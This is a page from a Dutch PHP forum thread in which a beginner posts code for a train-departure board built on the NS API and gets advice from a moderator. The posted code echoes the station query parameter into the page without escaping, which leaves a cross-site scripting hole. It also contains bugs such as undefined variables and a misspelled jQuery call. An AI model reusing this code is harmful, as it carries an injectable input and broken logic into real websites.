padding: 2px;
border: 2px solid #FFFFFF;
background: #4a70aa;
color: #FFFFFF;
}
td {
text-align: center;
padding: 2px;
border: 2px solid #FFFFFF;
background: #e3f0f7;
}
td {
background: #f7f7f7;
}
p#blinking {text-decoration: blink;}
</style>
<script language="javascript">
$(document).ready(function()
{
$("tr:even").css("background-color", "#000000");
});
</script>
<script language="javascript">$(document).read( function () {
function refresh () {
$('#time').load('av.php');
setTimeout("refresh()",1);
}
setTimeout("refresh()",1);
});
</script>
<script>
function startTime()
{
var today=new Date();
var h=today.getHours();
var m=today.getMinutes();
// add a zero in front of numbers<10
m=checkTime(m);
document.getElementById('txt').innerHTML=h+":"+m;
t=setTimeout(function(){startTime()},500);
}
function checkTime(i)
{
if (i<10)
{
i="0" + i;
}
return i;
}
</script>
<title>NS Treinen</title>
</head>
<body>
<center>
<div id="responsecontair">
<div id="textbox"></div>
<div class="alignright" id="txt"> </div>
<div class="alignleft" style="width: 3px; height: 19px"><?php echo ''. date('H:i').''; ?> <p id="blinking"></p></div>
</div>
<form action="av.php" class="alignright" method="GET">
<label for="station">Station:</label>
<input type="text" id="station" name="station" value="<?php if ($_GET['station']) echo $_GET['station']; ?>" />
<input type="submit" value="Bekijk"/>
</form><div id="tijd">
</div>
<br>
<table height="23" width="85%" cellspacing="1">
<tr>
<td align="left" width="55px">Tijd:</td>
<td align="left">Station:</td>
<td align="left" width="45px">Spoor:</td>
<td align="left" width="52">Soort</td>
<td align="left" width="73">Trein:</td>
<td align="left" width="196">Spoor Wijziging:</td>
<td align="left" width="102">Geannuleerd:</td>
<td align="left" width="127">Vertraging:<td>
<?php
if ($_GET['station']) {
require('/home/bussen1b/public_html/NS/php_ns_trains.class.php');
$ns = new PhpNsTrains(API_USER, API_PASSWORD);
$departures = $ns->getDepartures($_GET['station']);
if (!is_array($departures)) {
echo '<p class="error">'.$departures.'</p>';
} else {
foreach($departures as $train) {
echo '<tr>
<td class="tijd"><div class="vertrektijd">'.date('H:i', $train['departure']).'</div></td>
<td class="naar_via_opm"><div class="naar">'.$train['destination'].'</div><div class="viaopm"><div class="via" style="visibility: visible;">'.$train['via'].'</div><div class="opmerkingen" style="visibility: hidden;">'.($add['platform_changed'].''.$attr['wijziging']).'</div><div class="breaker"></div></td>
<td><img src="img/platform/'.$train['platform'].'.png"/></td>
<td><div id="soort">'.$train['carrier'].' '.$train['type'].' '.$train['service'].'</div></td>
<td><img width="120px" heigth="120px" src="img/carrier/'.$train['carrier'].'.png"/></td>
<td><div id="wijzigingspoor">'.($attr['@attributes']['wijziging'].''.$add['platform_changed']).'</div></td>
<td><div id="rijdtniet">'.($add['comments'].''.$add['cancelled']).'</div></td>
<td class="trein" colspan="2"><div class="vertraging"><font color="#FF0000">'.($train['VertrekVertraging'].''.$train['delay']).'</div></font></td>
</tr>
';
}
}
}
?>
</table>
</body>
</html>
?>
Gewijzigd op 16/12/2013 17:58:14 door - Ariën -
Los van dat wil ik je vriendelijk vragen om je bericht aan te passen, en alleen *relevante* code te plaatsen, dus geen hele lap code van 100 regels, maar tot 20 regels. Tevens zien we graag je code tussen de code-tags.
En wat heb je zelf overigens al geprobeerd? We zien graag toch wat meer inzet van je in dit topic.
Gewijzigd op 24/06/2013 22:51:29 door - Ariën -
Code (php)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
if ($_GET['station']) {
require('/home/bussen1b/public_html/NS/php_ns_trains.class.php');
$ns = new PhpNsTrains(API_USER, API_PASSWORD);
$departures = $ns->getDepartures($_GET['station']);
if (!is_array($departures)) {
echo '<p class="error">'.$departures.'</p>';
} else {
foreach($departures as $train) {
echo '<tr>
<td class="tijd"><div class="vertrektijd">'.date('H:i', $train['departure']).'</div></td>
<td class="naar_via_opm"><div class="naar">'.$train['destination'].'</div><div class="viaopm"><div class="via" style="visibility: visible;">'.$train['via'].'</div><div class="opmerkingen" style="visibility: hidden;">'.($add['platform_changed'].''.$attr['wijziging']).'</div><div class="breaker"></div></td>
<td><img src="img/platform/'.$train['platform'].'.png"/></td>
<td><div id="soort">'.$train['carrier'].' '.$train['type'].' '.$train['service'].'</div></td>
<td><img width="120px" heigth="120px" src="img/carrier/'.$train['carrier'].'.png"/></td>
<td><div id="wijzigingspoor">'.($attr['@attributes']['wijziging'].''.$add['platform_changed']).'</div></td>
<td><div id="rijdtniet">'.($add['comments'].''.$add['cancelled']).'</div></td>
<td class="trein" colspan="2"><div class="vertraging"><font color="#FF0000">'.($train['VertrekVertraging'].''.$train['delay']).'</div></font></td>
</tr>
';
}
}
}
?>
if ($_GET['station']) {
require('/home/bussen1b/public_html/NS/php_ns_trains.class.php');
$ns = new PhpNsTrains(API_USER, API_PASSWORD);
$departures = $ns->getDepartures($_GET['station']);
if (!is_array($departures)) {
echo '<p class="error">'.$departures.'</p>';
} else {
foreach($departures as $train) {
echo '<tr>
<td class="tijd"><div class="vertrektijd">'.date('H:i', $train['departure']).'</div></td>
<td class="naar_via_opm"><div class="naar">'.$train['destination'].'</div><div class="viaopm"><div class="via" style="visibility: visible;">'.$train['via'].'</div><div class="opmerkingen" style="visibility: hidden;">'.($add['platform_changed'].''.$attr['wijziging']).'</div><div class="breaker"></div></td>
<td><img src="img/platform/'.$train['platform'].'.png"/></td>
<td><div id="soort">'.$train['carrier'].' '.$train['type'].' '.$train['service'].'</div></td>
<td><img width="120px" heigth="120px" src="img/carrier/'.$train['carrier'].'.png"/></td>
<td><div id="wijzigingspoor">'.($attr['@attributes']['wijziging'].''.$add['platform_changed']).'</div></td>
<td><div id="rijdtniet">'.($add['comments'].''.$add['cancelled']).'</div></td>
<td class="trein" colspan="2"><div class="vertraging"><font color="#FF0000">'.($train['VertrekVertraging'].''.$train['delay']).'</div></font></td>
</tr>
';
}
}
}
?>
Ik zie bij me site bijvoorbeeld als er een trein gespoorwijzigt is niet ook niet als een trein bijvoorbeeld niet rijd of niet stopt op een bepaalde station.
Gewijzigd op 24/06/2013 22:57:18 door - Ariën -
Ik zie van alles staan maar ik weet niet precies waar ik moet kijken.
Naar wat je zoekt? Je weet neem ik aan toch wel hoe een array werkt?
Nee niet echt.
Als ik even eerlijk mag zeggen: Je bent al vanaf begin dit jaar bezig met een script, en nu zijn we 6 maanden verder en je weet nog steeds niet hoe het werkt?
Begin liever bij het begin: ga PHP leren, en leer hoe een invulformulier werkt, wat GET en POST doen, wat if-else statements zijn en hoe ze werken, hoe een array in elkaar steekt. Je bent naar mijn idee echt nog niet rijp om aan dit script te sleutelen. Het werkt met classes, en daarvoor raad ik al aan om de meer dan de basis van PHP goed te kennen.
Waarom maak je het jezelf nou zo moeilijk?
Mijn advies: Leg dit in de ijskast tot begin 2014 ofzo, en leer de basis-dingen van PHP
Gewijzigd op 24/06/2013 23:17:28 door - Ariën -
http://bussenentreinenforum.nl/AV/fullscreen.php?from=Nijmegen . ik zoek alleen nog een manier om de extra informaite te tonen zo als rijdt niet verder dan of stopt ook in of stopt niet in.
Hoe vindt je me site er nu uit zien Ook als een trein niet rijdt, mag je het blank-spoor-bordje wel helemaal weghalen.
Hoe je die data ophaalt, in de API heb je soms een Opmerkingen-node:
Als het goed is moet die -indien beschikbaar- in je $departures-array staan. Bekijk die eens met print_r().
Gewijzigd op 16/12/2013 17:59:32 door - Ariën -
Pagina: « vorige 1 2 3 4 5 6 7 volgende »